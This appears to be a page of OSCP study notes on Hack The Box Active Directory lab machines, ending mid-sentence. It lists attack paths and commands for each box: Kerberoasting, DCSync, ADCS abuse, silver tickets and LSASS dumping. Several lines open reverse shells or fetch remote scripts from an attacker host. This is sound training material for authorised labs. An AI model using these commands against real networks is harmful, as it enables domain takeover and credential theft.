HTB Active Directory Machines — OSCP Edge Cases
On this page
The AD half of the OSCP-like HTB list — one path per box, the step that actually decides it, and the exact command worth memorising. These are edge-case notes, not walkthroughs: every IP, domain, user and path must be adapted to your target, and the linked writeup remains the walkthrough of record.
Companion pages: Command Checklist · Pattern Library · Methodology · Machine Index.
How to use this page
- Assumed breach vs unauthenticated. Only five boxes hand you credentials at the start — Administrator (
olivia:ichliebedich), Certified (judith.mader:judith09), EscapeTwo (rose:KxEPkKe6R8su), Puppy (levi.james:KingofAkron2025!) and Signed (scott:Sm230#C5NatH). For those, the first ten minutes are--shares, BloodHound,certipy findand per-service auth checks — not brute force. Everything else starts with null SMB/RPC, a web bug, or a share. - BloodHound before exploitation. Collect with
bloodhound-python -c all --zip(orbloodhound-ce-python) and read the Abuse Info of each edge; rights on the domain node show up as GetChanges/GetChangesAll, not as an edge called “DCSync” (Sauna). - Every found secret is a reuse test. Fan out
nxc smb/ldap/winrm/mssql/ftpwith--continue-on-success; a service that fails is not the service that matters (Return: WinRM but no SMB admin; Administrator: FTP but no WinRM forbenjamin). Try the actual account name when a config spells it differently (Sauna). - ADCS, delegation and time. None of Active/Forest/Sauna/Flight/Return/Blackfield/Cicada/TheFrizz/Administrator/Monteverde exposes a CA — do not burn exam minutes on Certipy there. The ESC paths live in Escape (ESC1), EscapeTwo (ESC4→ESC1) and Certified (ESC9). Clock skew is the single most common time sink:
sudo ntpdate <dc fqdn>, expect the VPN to drop, reconnect — but note that AS-REP roasting tolerates hours of skew (Sauna).
At-a-glance
| Box | Start | Entry technique | Key escalation | Difficulty |
|---|---|---|---|---|
| Active | Unauthenticated | GPP cpassword in DFS-R share | Kerberoast Administrator | Easy |
| Forest | Unauthenticated | Null RPC → AS-REP | WriteDacl → DCSync | Easy |
| Sauna | Unauthenticated | Kerbrute → AS-REP | AutoLogon → GetChanges/GetChangesAll | Easy |
| Flight | Unauthenticated | PHP LFI → UNC → NetNTLMv2 | Machine TGT (tgtdeleg) → DCSync | Hard |
| Return | Unauthenticated | Printer panel → LDAP cleartext | Server Operators sc config | Easy |
| Blackfield | Unauthenticated | Profiles share → AS-REP | ForceChangePassword → LSASS → SeBackup | Hard |
| Cicada | Unauthenticated | Guest SMB → HR share → RID brute | LDAP description → Backup Operators | Easy |
| TheFrizz | Unauthenticated | Gibbon LMS CVE-2023-45878 | Kerberos SSH → GPO abuse | Medium |
| Administrator | Assumed breach | BloodHound ACL chain | GenericAll → FTP psafe3 → targeted Kerberoast | Medium |
| Monteverde | Unauthenticated | RPC querydispinfo → spray | ADSync LocalDB + mcrypt | Medium |
| Escape | Unauthenticated | SMB PDF → MSSQL | Coerce → ESC1 | Medium |
| EscapeTwo | Assumed breach | xlsx → MSSQL sa | WriteOwner → shadow creds → ESC4→ESC1 | Medium |
| Certified | Assumed breach | WriteOwner Management group | Shadow creds ×2 → ESC9 | Medium |
| Puppy | Assumed breach | HR group → GenericWrite Developers | KeePassXC → GenericAll → DPAPI | Medium |
| Timelapse | Unauthenticated | winrm_backup.zip → pfx | Certificate WinRM → LAPS | Easy |
| Signed | Assumed breach | SQL login scott | Silver ticket → OPENROWSET | Medium |
Active
Path: Anonymous SMB on the DFS-R Replication share → Groups.xml cpassword → gpp-decrypt → svc_tgs → Kerberoast (SPN owned by Administrator) → psexec.
Edge cases:
- SYSVOL is not anonymously readable, but the DFS-R
Replicationshare is — that is the whole foothold. The file is\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml; recurse, don’t guess the GUID. - GPP (MS14-025) is offline decryption, not cracking: the AES key is published by Microsoft, so
gpp-decryptis instant and hashcat is the wrong reflex. - The roastable SPN was
active/CIFS:445on Administrator itself — one crack equals DA.-requestalone prints the hash;-save -outputfilealso writes it. - You never need a shell: with DA credentials
smbclient //IP/C$readsusers\administrator\desktop\root.txt; psexec/smbexecis optional noise.
Commands to remember:
smbmap -H IP
smbclient -N //IP/Replication
gpp-decrypt <cpassword>
GetUserSPNs.py -request -dc-ip IP active.htb/SVC_TGS -save -outputfile out
hashcat -m 13100 out rockyou.txt
psexec.py active.htb/administrator@IP
Notes: Initial access · Password attacks · Writeup: source · alt
Forest
Path: Null RPC → enumdomusers → AS-REP roast svc-alfresco → WinRM → BloodHound: Account Operators → GenericAll on Exchange Windows Permissions → WriteDacl on the domain → grant DCSync → secretsdump.
Edge cases:
rpcclient -U "" -Nplusenumdomusers/enumdomgroups/querygroupmemyields users and RIDs with no credentials at all — cheaper and quieter than kerbrute.- AS-REP: loop
GetNPUsersper user and grepkrb5asrep; the tool prints a “doesn’t have UF_DONT_REQUIRE_PREAUTH” line for every failure, which is noise, not a finding. - The BloodHound path is nested groups ending in WriteDacl on the domain object — you must join
Exchange Windows Permissionsand write the ACE (-Rights DCSync), thensecretsdumpworks from the attacker host. - 60-second revert: a scheduled task
restorerunsrevert.ps1in awhile($true)loop, resettingsvc-alfrescotos3rviceand stripping DCSync ACEs and group memberships. If your ACE “disappears”, that is why: re-add and dump in one chain (schtasks /query /tn restore /v).
Commands to remember:
rpcclient -U "" -N IP # then: enumdomusers
GetNPUsers.py -no-pass -dc-ip IP htb.local/user
hashcat -m 18200
Add-DomainGroupMember -Identity 'Exchange Windows Permissions' -Members svc-alfresco
Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity svc-alfresco -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync
secretsdump.py svc-alfresco:s3rvice@IP
evil-winrm -u administrator -H <NTLM>
Notes: Initial access · Internal enumeration · Writeup: source
Sauna
Path: kerbrute userenum → AS-REP roast fsmith → WinRM → AutoLogon registry credentials svc_loanmgr → GetChanges + GetChangesAll → secretsdump → DA.
Edge cases:
- kerbrute returns the same name in four casings (
fsmith,Fsmith,FSmith,FSMITH) as separate “valid” hits — lowercase andsort -ubefore roasting or spraying, or your list (and any lockout counter) is inflated 4×. - nmap reports
clock-skew: 8h00m40s, yet kerbrute/GetNPUsersstill worked — a roast needs no ticket, so don’t detour into time sync before trying it. - winPEAS shows
DefaultUserName = EGOTISTICALBANK\svc_loanmanagerfrom AutoLogon while the real account issvc_loanmgr;net useron the box settles it — try the password against the actual name. - DCSync rights appear in BloodHound as GetChanges + GetChangesAll on the domain node, not as an edge labelled “DCSync”; read the node’s Abuse Info.
Commands to remember:
kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc IP users.txt
GetNPUsers.py 'EGOTISTICAL-BANK.LOCAL/' -usersfile users.txt -format hashcat -outputfile h
hashcat -m 18200 h rockyou.txt
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
secretsdump.py 'svc_loanmgr:pass@IP'
Notes: Initial access · Attack vectors · Writeup: source
Flight
Path: PHP ?view= file read → SMB UNC include captures NetNTLMv2 → crack svc_apache → spray the same password → S.Moon writes to Shared → ntlm_theft lures → C.Bum → ASPX webshell in the Web share → IIS apppool → machine TGT (tgtdeleg) → DCSync.
Edge cases:
view=filters..and\but accepts absolute/paths. The HTTP include proves it isfile_get_contents(source is rendered, not executed), so pivot to a\\attacker\shareUNC and let the app authenticate to you.- Writing lures to an empty share works, but most lure types are blocked on upload (
.scf,.lnk,.url,.rtf,.docx,.m3u…): only.xml,.jnlp,.applicationanddesktop.inilanded, and the XML stylesheet still triggered auth. Upload withprompt false; mput *and read theNT_STATUS_ACCESS_DENIEDlist as normal. iis apppool\defaultapppoolis a virtual account: over the network it is the machine accountG0$. Its NetNTLMv2 is uncrackable, butRubeus tgtdeleg /nowrapgets a machine TGT (fake delegation) →kirbi2ccache→KRB5CCNAME→secretsdump -k -no-pass.secretsdumpfirst errors with “Policy SPN target name validation… try -just-dc-user” — that hint is a red herring; the real error underneath isKRB_AP_ERR_SKEW, fixed bysudo ntpdate -s flight.htb(drops the VPN; reconnect).C.Bumis not in Remote Management Users → no WinRM; useRunasCs -r IP:port cmdfor a shell as that user.
Commands to remember:
smbclient //IP/Users -U svc_apache
lookupsid.py flight.htb/svc_apache:pass@flight.htb
crackmapexec smb flight.htb -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
ntlm_theft.py -g all -s IP -f x
hashcat -m 5600
Rubeus.exe tgtdeleg /nowrap
kirbi2ccache t kirbi.ccache; export KRB5CCNAME=...
secretsdump.py -k -no-pass g0.flight.htb
RunasCs.exe user pass -r IP:443 cmd
Notes: SMB · RFI · Kerberos delegation · Writeup: source
Return
Path: Printer admin panel /settings.php (the only field actually posted is ip) → outbound LDAP simple bind to your listener → cleartext svc-printer credentials → WinRM → Server Operators → sc.exe config binary path → SYSTEM.
Edge cases:
- The other form fields are cosmetic — the POST body is just
ip=. Point it attun0, runnc -lvnp 389, and the box sends an LDAP bindRequest with user and password in clear (Responderalso catches it; Wireshark decodes it if the raw bytes look mangled). svc-printeris not admin:sc.exe queryandGet-Servicefail with access denied. That is not a dead end — Server Operators can stillsc configa service it does not own administratively; enumerate candidate services blind (0xdf usedVSS, a second writeup usedVMTools).sc startreturns 1053 (“did not respond in time”) and the service manager kills the child after ~30 s, taking your shell with it. Setbinpath= "cmd.exe /c C:\path\nc64.exe -e cmd IP 443"so the shell survives the timeout; 53/443 is a safe port.whoami /privalso shows SeBackup/SeRestore/SeLoadDriver, and Server Operators givesC$read+write — the flag is reachable without any service abuse.
Commands to remember:
curl -d 'ip=10.10.14.x' http://IP/settings.php
nc -lvnp 389
nxc smb IP -u svc-printer -p 'pass' --shares
nxc ldap IP -u svc-printer -p 'pass' --users --groups
sc.exe config VSS binpath= "C:\windows\system32\cmd.exe /c C:\programdata\nc64.exe -e cmd IP 443"
sc.exe start VSS
Notes: Built-in groups · SSRF · Writeup: source · alt
Blackfield
Path: Anonymous SMB profiles share → user list → AS-REP roast support → bloodhound-python → ForceChangePassword on audit2020 → forensic share LSASS dump → pypykatz → svc_backup hash → WinRM → SeBackupPrivilege + DiskShadow → ntds.dit + SYSTEM → secretsdump.
Edge cases:
- The
profilesshare is empty but its folder names are the user list (one oddaudit2020folder stands out) — no RPC needed for usernames. An authenticatedldapsearchdump is ~20k lines, so grep it instead of reading it. - ForceChangePassword over RPC works through
rpcclientwith info level 23:setuserinfo2 audit2020 23 "NewPass!"— 0xdf’s earlier attempts with a weak/short password were rejected; the 23 form is the one that worked. bloodhound-pythonis fussy: pass-ns <DC IP>and-dc dc01.blackfield.local(FQDN) or collection fails; use-c ALL.- DiskShadow traps: the script file must be CRLF (
unix2dos) ornowritersis parsed asnowriterand it dies on line 1; addset metadata c:\programdata\x.cab(or run from a writable dir) or it fails creating the .cab; then copy out ofz:withCopy-FileSeBackupPrivilegestraight to an SMB share you host, andreg save hklm\system. - Beyond root:
root.txtis EFS-encrypted, so SeBackupPrivilege returnsE_ACCESSDENIEDandcipher /cfails from a WinRM (session 0) shell — don’t debug your backup technique, use the DA hash you just dumped.
Commands to remember:
smbclient -N //IP/profiles
for u in $(cat users); do GetNPUsers.py -no-pass -dc-ip IP blackfield.local/$u | grep krb5asrep; done
rpcclient -U 'dom/user%pass' IP -c 'setuserinfo2 audit2020 23 "0xdf!!!"'
bloodhound-python -c ALL -u support -p pass -d blackfield.local -dc dc01.blackfield.local -ns IP
pypykatz lsa minidump lsass.DMP
Copy-FileSeBackupPrivilege z:\Windows\ntds\ntds.dit \\IP\share\ntds.dit
secretsdump.py -system system -ntds ntds.dit LOCAL
Notes: Excessive user rights · Internal enumeration · Writeup: source · alt
Cicada
Path: guest with an empty password → HR share “Notice from HR.txt” default password → --rid-brute users → spray → LDAP description field holds a password → DEV share Backup_script.ps1 credentials → WinRM (Backup Operators) → reg save SAM+SYSTEM → local admin hash = DA.
Edge cases:
- Guest is still enabled:
netexec smb IP -u guest -p '' --shares(andsmbclient -N) works where anonymous listing sometimes doesn’t. The HR note is a literal default password handed to “new hires”. - After the spray,
netexec ldap IP -u user -p pass --usersprints the LDAP description column — one account’s description was its password. BloodHound collects descriptions too; read them before attacking. - On a DC, SAM RID 500
Administratoris the domain Administrator, soreg save hklm\sam+hklm\system+secretsdump -sam -system LOCALis enough to own the box — nontds.dit, no DiskShadow. Usenxc --ntds/diskshadow only when you need every domain hash. impacket reg.py ... backupis the “clean” remote way to make the hive copies, but it is extremely slow over the HTB VPN and times out; in-sessionreg save+downloadis faster.
Commands to remember:
netexec smb IP -u guest -p '' --shares
netexec smb IP -u guest -p '' --rid-brute | grep SidTypeUser
netexec ldap IP -u u -p p --users
netexec smb IP -u u -p p --shares
reg save hklm\sam sam
reg save hklm\system system
secretsdump.py -sam sam -system system LOCAL
evil-winrm -u administrator -H <NTLM>
Notes: Built-in groups · SMB · Writeup: source
TheFrizz
Path: Gibbon LMS file-write (CVE-2023-45878) → webshell → DB hash+salt → crack (mode 1420) → NTLM disabled, so Kerberos: kinit + ssh -k → $RECYCLE.BIN WAPT backup → m.schoolbus (Group Policy Creator Owners) → new GPO + link + SharpGPOAbuse computer task → SYSTEM.
Edge cases:
- NTLM is disabled on the DC: netexec returns
STATUS_NOT_SUPPORTEDuntil you add-k. Any Kerberos auth needs a synced clock (ntpdate; nmap showed 7 h skew). TheFrizz’s writeup notes ~7-hour skew requiringfaketimeto bypass Kerberos before SSH lands. - SSH does Kerberos SSO: correct
/etc/krb5.conf,kinit user, thenssh -kto the DC’s real FQDN (frizzdc.frizz.htb). The short name fails withServer not found in Kerberos database— almost certainly no SPN exists for it; target the FQDN and mind/etc/hostsordering, which decides which name SSH actually sends (SPN explanation unverified; the error and the FQDN workaround are documented). - Recycle Bin:
$I*files are metadata,$R*files hold the original content.lshides them (-Force), andcd '$RECYCLE.BIN'must be single-quoted or PowerShell expands it to nothing. Pull the 7z, not the$Istub. - GPO abuse with only “Group Policy Creator Owners”: you cannot edit the default policies, so
New-GPO+New-GPLink -Target "DC=frizz,DC=htb", thenSharpGPOAbuse --addcomputertask; nothing applies untilgpupdate /force(or ~90 min). Use a fresh GPO per command (the immediate task does not update cleanly), and note the box also has a cleanup script on a couple-minute timer.
Commands to remember:
hashcat -m 1420 hash:salt rockyou.txt
kinit f.frizzle
ssh -k f.frizzle@frizzdc.frizz.htb
Get-ChildItem 'C:\$RECYCLE.BIN' -Recurse -Force
New-GPO -Name x; New-GPLink -Name x -Target "DC=frizz,DC=htb"
SharpGPOAbuse.exe --addcomputertask --GPOName x --TaskName t --Command powershell.exe --Arguments "..."
gpupdate /force
Notes: Known-exploit escalation · Excessive user rights · Writeup: source · alt
Administrator
Path: Start with olivia:ichliebedich (assumed breach) → BloodHound: GenericAll on michael → password change → ForceChangePassword on benjamin → FTP (Share Moderates) Backup.psafe3 → hashcat 5200 → emily → GenericWrite on ethan → targeted Kerberoast → ethan has DCSync → secretsdump.
Edge cases:
- Starting credentials are given; the intended first move is BloodHound (
bloodhound-python -c all --zip, CE branch). Per-user access differs by service, not just SMB —benjaminhas no WinRM but does have FTP because ofShare Moderates. Always runnxc ftpalongside smb/winrm/ldap. Backup.psafe3is a Password Safe V3 database whose first line alone is the crackable blob (fileidentifies it); pass it directly to hashcat and force-m 5200(autodetect offers 37 modes). Open the DB in the Password Safe GUI afterwards to see which password belongs to which account — two of the three are stale.- GenericWrite → targeted Kerberoast:
targetedKerberoast.pyadds a temporary SPN toethan, requests the TGS, then removes it. Needs a synced clock (ntpdate administrator.htb) or it fails mid-run; crack as 13100. - GenericAll password reset from Linux without BloodHound’s PowerShell:
net rpc password "michael" "NewPass" -U DOMAIN/olivia%pass -S IP— no shell needed, andmichaelis in Remote Management Users so WinRM follows immediately.
Commands to remember:
netexec smb IP --generate-hosts-file /etc/hosts
bloodhound-python -d administrator.htb -c all -u olivia -p pass -ns IP --zip
net rpc password "michael" "0xdf0xdf." -U "administrator.htb"/"olivia"%pass -S IP
hashcat -m 5200 Backup.psafe3 rockyou.txt
sudo ntpdate administrator.htb
targetedKerberoast.py -v -d administrator.htb -u emily -p pass
secretsdump.py ethan:limpbizkit@dc.administrator.htb
Notes: Initial access · Password attacks · Writeup: source
Monteverde
Path: Null RPC querydispinfo user list → username-as-password spray → SABatchJobs → users$ share → mhope/azure.xml plaintext → WinRM (Azure Admins) → ADSync LocalDB + mcrypt.dll → domain Administrator password → WinRM.
Edge cases:
rpcclient -U "" -N+querydispinfoleaks accounts and descriptions (here theAAD_987d7f…sync account’s description reveals Azure AD Connect). Description fields are free intel.- The username-as-password check is a cross-product (
-u users -p users --continue-on-success). On a real engagement use one password per user per window or you lock accounts out — this is an HTB shortcut, not exam technique. users$mapsC:\Users;azure.xmlis PowerShell CLIXML forPSADPasswordCredentialwith a plaintext<S N="Password">element — grep forPassword, don’t parse it as an XML config file.- ADSync decrypt: connect to the
ADSyncLocalDB (Server=127.0.0.1;Database=ADSync;Integrated Security=True), readkeyset_id, instance_id, entropyfrommms_server_configuration, readencrypted_configurationfrommms_management_agent WHERE ma_type='AD', and decrypt viaMicrosoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManagerfrommcrypt.dll. The replication account here was domain Administrator itself, notMSOL_*. - Version caveat from the author’s update: newer AAD Connect builds store keys differently and need the ADSync service-account context/Credential Manager (e.g.
sqlcmd/xp_cmdshellas that account) (unverified for this build).
Commands to remember:
rpcclient -U "" -N IP # then: querydispinfo
crackmapexec smb IP -u users -p users --continue-on-success
smbmap -H IP -u SABatchJobs -p SABatchJobs -R 'users$'
sqlcmd -d ADSync -Q "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
iex (new-object net.webclient).downloadstring('http://IP/Get-MSOLCredentials.ps1')
evil-winrm -u administrator -p '...'
Notes: Initial access · MSSQL · Writeup: source
Escape
Path: Null-auth SMB → credentials in a PDF on Public → MSSQL → coerce Net-NTLMv2 → crack → sql_svc → credentials in the SQL ERRORLOG → Ryan.Cooper → ESC1 → DA. (Not assumed breach — starts unauthenticated.)
Edge cases:
- SMB listing works with any username plus an empty password (
-u bogus -p ''), not with no user at all — “anonymous” failures often just mean you didn’t send a user. - The PDF explicitly says to switch to SQL Server Authentication, not Windows auth — following that hint is the whole initial access.
xp_cmdshelland evensp_configureare denied forPublicUser: coercion, not RCE, is the intended move.- The next password is leaked in
C:\SQLServer\Logs\ERRORLOG.BAKbecause a user typed their password into the username field (Logon failed for user 'NuclearMosquito3') — read SQL logs as credential material. - Template
UserAuthentication=ENROLLEE_SUPPLIES_SUBJECT+ Domain Users can enroll = textbook ESC1. Beyond root: silver ticket → file read via MSSQL (the idea returns in Signed).
Commands to remember:
smbclient //IP/Public -N
mssqlclient.py seq.htb/PublicUser:GuestUserCantWrite1@dc.seq.htb
EXEC xp_dirtree '\\LHOST\share', 1, 1
hashcat -m 5600
certipy find -vulnerable -u ryan.cooper -p ... -dc-ip IP -stdout
certipy req -ca sequel-DC-CA -template UserAuthentication -upn administrator@sequel.htb
certipy auth -pfx administrator.pfx -domain sequel.htb
Notes: ADCS attacks · MSSQL · Writeup: source
EscapeTwo
Path: Assumed breach rose:KxEPkKe6R8su (MSSQL/SMB only) → corrupt xlsx on Accounting Department → spray (SQL + domain) → sa → xp_cmdshell → sql_svc → reuse → ryan → WriteOwner CA_SVC → shadow credential → ESC4→ESC1 → DA.
Edge cases:
- The start has no WinRM — MSSQL is the pivot; don’t stall on WinRM.
- Both
.xlsxfiles have magic bytes50 48 04 03(“PH..”) instead of50 4B 03 04(“PK..”) → fix the first four bytes in a hex editor (orunzipthe sheet XML) then open in LibreOffice.filesaying “Zip archive” rather than “Microsoft Excel 2007+” is the tell. - Spray twice: domain auth gives
oscar; only--local-authfinds the SQL loginsa:MSSQLP@ssw0rd!. Same wordlist, different auth backend. certipy shadow autofailsINSUFF_ACCESS_RIGHTSbecause WriteOwner alone is not enough — become owner, then grant yourself rights, then shadow-credential.- ESC4 only appears when
certipy findis run asca_svc(member of Cert Publishers). Re-run ADCS enumeration after every new user or you will wrongly conclude “no vulnerable templates”. After exploiting ESC4, restore the template; Certipy 5.x renamed the flags versus the 4.8.2 commands in older writeups.
Commands to remember:
netexec mssql IP -u users -p passwords --continue-on-success --local-auth
mssqlclient.py 'seq/sa:MSSQLP@ssw0rd!@dc01.seq.htb'
enable_xp_cmdshell
certipy shadow auto -u ryan@seq.htb -p ... -account ca_svc
bloodyAD -d seq.htb -u ryan -p ... set owner ca_svc ryan
certipy template -u ca_svc -hashes H -template DunderMifflinAuthentication -save-old
certipy req ... -upn administrator@sequel.htb
Notes: ADCS attacks · MSSQL · Writeup: source
Certified
Path: Assumed breach judith.mader:judith09 → WriteOwner over the Management group → add self → shadow credential management_svc → GenericAll over ca_operator → shadow credential → ESC9 (UPN swap) → DA.
Edge cases:
- A three-hop ACL chain where two hops are Shadow Credentials — the same primitive reused, not a new technique each time.
- WriteOwner needs the three-step dance:
owneredit→dacledit -rights WriteMembers→net rpc group addmem. - ESC9’s UPN must be
Administratorwithout@domain(it would otherwise collide with the real admin UPN); the issued certificate then has no SID extension. - Revert the UPN afterwards — 0xdf notes leaving it breaks the final
certipy auth; that is correctness, not just OPSEC.certipy authalso needs-domainbecause the certificate carries no domain. owneredit.pydying withunsupported hash type MD4is an OpenSSL 3 / Impacket environment issue, not a permissions problem. Caveat (HackTricks): classic ESC9 depends onStrongCertificateBindingEnforcement=1; Microsoft’s Sept 2025 update removed the KDC override, so the recipe can fail on a fully patched DC.
Commands to remember:
owneredit.py -action write -new-owner judith.mader -target management certified/judith.mader:judith09 -dc-ip IP
dacledit.py -action write -rights WriteMembers -principal judith.mader -target Management ...
net rpc group addmem Management judith.mader
certipy shadow auto -account management_svc
certipy account update -user ca_operator -upn Administrator
certipy req -template CertifiedAuthentication
certipy auth -pfx administrator.pfx -domain certified.htb
Notes: ADCS attacks · Internal enumeration · Writeup: source · ESC9 caveat
Puppy
Path: Assumed breach levi.james:KingofAkron2025! → HR group → GenericWrite on Developers → self-add → DEV share → KeePassXC DB → crack → spray → ant.edwards → GenericAll adam.silver → password reset + enable → WinRM → site backup XML → steph.cooper → DPAPI → admin.
Edge cases:
- Group membership is the permission: adding yourself to
Developersis what unlocks the share (re-check--sharesafter every ACL change). - “File version ‘40000’ is currently not supported” from the distro
keepass2john— KeePassXC 2.7.x KDBX4 needs the newer John (snap install john-the-ripper); hashcat cannot parse this format. Dump withkeepassxc-cli export --format csv. - The reset of
adam.silverreturnsSTATUS_ACCOUNT_DISABLED— the account was already disabled; clear the UAC flag, don’t re-reset the password. - The config backup (
nms-auth-config.xml.bak) leaks a plaintext LDAP bind-password — grep app backups for<bind-password>. - DPAPI:
evil-winrm downloadcrashes on theCredentials/Protectblobs → base64 the bytes and rebuild locally; decrypt the masterkey with the user’s own password + SID, then the credential blob. Clock skew had to be fixed (ntpdate) before Kerberos-based collection (necessity unverified).
Commands to remember:
net rpc group addmem developers levi.james -U puppy.htb/levi.james%'...' -S puppy.htb
bloodhound-ce-python -c all -ns IP --zip
john-the-ripper.keepass2john recovery.kdbx
keepassxc-cli export --format csv recovery.kdbx
net rpc password adam.silver 'NewPass1!' -U ...
bloodyAD ... remove uac adam.silver -f ACCOUNTDISABLE
dpapi.py masterkey -file <guid> -sid S-1-5-21-... -password '...'
dpapi.py credential -file <blob> -key 0x...
Notes: Internal enumeration · Attack vectors · Writeup: source
Timelapse
Path: Null SMB → Shares → winrm_backup.zip → zip2john → .pfx → pfx2john → certificate-auth WinRM as legacyy → PowerShell history credentials → svc_deploy → LAPS read → local admin. (Not assumed breach — starts unauthenticated.)
Edge cases:
crackmapexec --sharesfails withSTATUS_USER_SESSION_DELETEDwhilesmbclient -L -Nsucceeds — when one SMB tool fails, try the other before concluding “no shares”.- Certificate-based WinRM before you ever touch ADCS:
-S(5986) plus-c cert.crt -k key.pem, afteropenssl pkcs12 -in x.pfx -nocerts/-clcerts. - Two-stage cracking: archive password (
zip2john) then key password (pfx2john) — same wordlist, two hashes. ConsoleHost_history.txtcontains a password in cleartext inside aConvertTo-SecureStringline — alwaystypethis file.- LAPS: any user with read on
ms-mcs-admpwdgets the local admin password; no exploit needed.root.txtis not on Administrator’s desktop (it is onTRX’s) because LAPS rotation forced HTB to use a second static admin for flag rotation — don’t assume a failed box when the flag is “missing”.
Commands to remember:
smbclient -L //dc01.timelapse.htb -N
zip2john winrm_backup.zip
pfx2john.py legacyy_dev_auth.pfx
openssl pkcs12 -in x.pfx -nocerts -out key.enc
openssl rsa -in key.enc -out key
openssl pkcs12 -in x.pfx -clcerts -nokeys -out cert.crt
evil-winrm -i host -S -k key -c cert.crt
Get-ADComputer DC01 -property 'ms-mcs-admpwd'
Notes: Initial access · Excessive user rights · Writeup: source
Signed
Path: Assumed breach scott:Sm230#C5NatH (SQL login) → DB enumeration → xp_dirtree coerce → crack mssqlsvc → silver ticket with the IT group RID → dbo → xp_cmdshell → OPENROWSET file read as DA → admin PowerShell history.
Edge cases:
- Auth-backend trap in both directions:
scottis a SQL-only login and works only with--local-auth;mssqlsvcis a domain account and works only without it. Test both before writing an account off. - Forging a ticket as
Administratoryieldsguestin the database — MSSQL authorizes from group SIDs in the PAC, not the username. Add the group that actually holds sysadmin:-groups 1105(IT). - With
-user-id 1103 -groups '512,1105'the ticket is for the MSSQL service account, soOPENROWSET(BULK 'C:\...', SINGLE_CLOB)reads files with Domain Admin rights even thoughxp_cmdshellchild processes do not inherit those groups (whoami /groupsproves it). - Root alternatives: a DNS record via
dnstool.py(krbrelayx) +coerce_plus+ntlmrelayx; or recover the original logon token’sSeImpersonatePrivilegeover a named pipe → GodPotato. - The crafted DNS record is garbage-collected in ~15 minutes — recreate it if coercion suddenly stops.
Commands to remember:
netexec mssql IP -u scott -p '...' --local-auth
# in mssqlclient:
select SUSER_SID('SIGNED\IT')
ticketer.py -nthash H -domain-sid S-1-5-21-... -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 Administrator
KRB5CCNAME=x.ccache mssqlclient.py -no-pass -k DC01.signed.htb
SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS C;
dnstool.py -u 'SIGNED\mssqlsvc' -p '...' -a add -r <rec> -d LHOST IP
netexec smb DC01 -u mssqlsvc -p '...' -M coerce_plus -o L=<rec>
Notes: MSSQL · Kerberos delegation · NTLM relay · Writeup: source
Also on the AD list (not AD)
Three names on the source sheet sit in the “Active Directory and Networks” column but are Linux boxes with no domain at all. There is no Kerberos, no LDAP, no BloodHound and no DCSync here — they belong to the web → credentials → Linux privesc cluster. Included so the list stays complete, not because they teach AD.
Gobox
Linux, not AD — Go web application; web SSTI → container → cloud simulation → root.
Edge cases:
- Go template SSTI:
{{html "x"}}confirms it,{{ . }}dumps the data struct — here it prints an email and password. Client-side validation blocks it in the browser; send from Repeater. - RCE returns command output only (no shell), so script the requests instead of hand-typing them; container AWS creds live in
~/.aws/credentials, and LocalStack on 4566 serves the bucket behind the real site (--endpoint-url). - Root is a backdoored nginx module:
strings/compare the.so, find the trigger argument, then call it — a Linux binary-review exercise, not an AD one.
Notes: OS command injection / SSTI · Linux privesc · Writeup: source
Bucket
Linux, not AD — AWS-simulation box: a LocalStack S3 service on a vhost, then a renderer bug for root.
Edge cases:
- LocalStack fingerprint from headers alone:
hypercorn-h11,x-amz-*,access-control-*— the body is just{"status":"running"}. Anonymous S3 read/write ons3.bucket.htbgives a PHP webshell. aws configurewith junk keys and always--endpoint-url http://s3.bucket.htb, or you are talking to real AWS; secrets live in DynamoDB on the same endpoint (list-tables→scan --table-name users), and one password is reused for SSH.- Root: the app feeds a DB row into a pd4ml PDF renderer, so
<pd4ml:attachment src="/etc/passwd">becomes arbitrary file read as root. Thealertstable is wiped roughly every minute — script create/put/trigger in one shot.
Notes: File uploads · Linux attack vectors · Writeup: source
Facts
Linux, not AD — Camaleon CMS 2.9.0 chain plus a GTFOBins sudo escape.
Edge cases:
- Two CVEs chained: add
&password[role]=adminto the profile-update (updated_ajax) request to become admin, then use authenticated path traversal (CVE-2024-46987) for arbitrary file read. Read is enough foruser.txt— no shell — but there is no write, so the pivot is credential hunting. - Grabbed
/home/trivia/.ssh/id_ed25519: encrypted OpenSSH key →chmod 600,ssh2john, crack the passphrase. - Privesc is GTFOBins-shaped:
sudo -lshowsNOPASSWD: /usr/bin/facter, and--custom-dirloads an attacker-controlled.rbas root. Intended alternate for the key: MinIO on 54321 with bucket creds found after CMS admin.
Notes: Linux machines · Linux privesc · Writeup: source
Cross-machine patterns
Read this as a checklist, not prose. Each line names the boxes where that decision won or lost the box.
The canonical chain
- initial creds (Escape PDF, Blackfield
profiles, Administrator.psafe3) → enumeration (Forest null RPC, Cicada guest + RID brute) → Kerberos/ACL/ADCS (Sauna GetChanges, Forest WriteDacl, Escape ESC1) → DA (Administrator GenericAll chain, Certified ESC9) → DCSync (Flight machine TGT, Signed silver ticket).
Initial credentials → first shell
- Unauthenticated enumeration before any guessing: null RPC (
rpcclient -U "" -N+enumdomusers/querydispinfo) — Forest, Monteverde; guest SMB +--rid-brute— Cicada;kerbrute userenum— Sauna; share/folder names as a user list — Blackfield (profiles), Flight (Users+lookupsid.py). - Shares and documents are the credential store: GPP cpassword (Active), PDF on
Public(Escape), corrupt xlsx (EscapeTwo), KeePassXC DB (Puppy),winrm_backup.zip→ pfx (Timelapse),Backup.psafe3(Administrator),azure.xmlCLIXML (Monteverde), zipped WAPT backup in$RECYCLE.BIN(TheFrizz). - Web-to-credential primitives: PHP
file_get_contentsover UNC (Flight), LDAP simple bind from an admin panel (Return), Gibbon LMS file-write (TheFrizz),xp_dirtreecoercion (Escape, Signed). - Logs and histories leak passwords: SQL
ERRORLOG.BAKwith a password typed in the username field (Escape),ConsoleHost_history.txt(Timelapse, Signed).
Enumeration → BloodHound
- Collect with
